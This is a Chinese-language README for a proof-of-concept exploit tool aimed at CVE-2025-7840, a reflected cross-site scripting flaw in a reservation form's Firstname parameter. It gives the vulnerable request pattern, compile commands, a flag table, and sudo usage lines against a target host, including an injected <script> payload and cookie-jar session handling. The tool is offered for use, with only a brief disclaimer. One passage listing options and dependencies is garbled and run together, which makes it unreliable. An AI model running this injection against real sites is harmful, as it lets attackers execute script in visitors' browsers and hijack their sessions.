作者: Byte Reaper (@ByteReaper0)
针对 CVE-2025-7840 的概念验证利用代码，目标是预订表单中 Firstname 参数未正确清理用户输入的可疑 Web 应用端点。通过构造如下 GET 请求：
/index.php?page=reserve&Firstname=<payload>&Lastname=test
攻击者可以在受害者浏览器渲染响应时注入并执行任意 JavaScript。
-b 选项注入自定义载荷-c 选项处理基于 Cookie 的会话-v）libcurl 开发头文件argparse 库编译利用代码：
gcc -o exploit exploit.c argparse.c -lcurl
sudo ./exploit -u <TARGET_URL> [options]
| Flag | 描述 |
|---|---|
-u URL | 目标基础 URL（例如 http://victim.local） |
-b PAYLOAD | 要注入的自定义 XSS 载荷 |
-c FILE | 用于会话处理的 Cookie Jar 文件 |
-v | 详细模式（显示请求/响应详情） |
对目标运行默认载荷：
sudo ./exploit -u http://victim.local
使用自定义载荷：
sudo ./exploit -u http://victim.local -b "<script>alert(\'PWNED\')</script>"
包含会话 Cookie 并启用详细输出：
sudo ./exploit -u http://victim.local -c cookies.txt -v
此代码仅供教育和测试目的使用。未经授权对您不拥有或未获明确许可测试的系统进行使用是非法的且不道德的。
MIT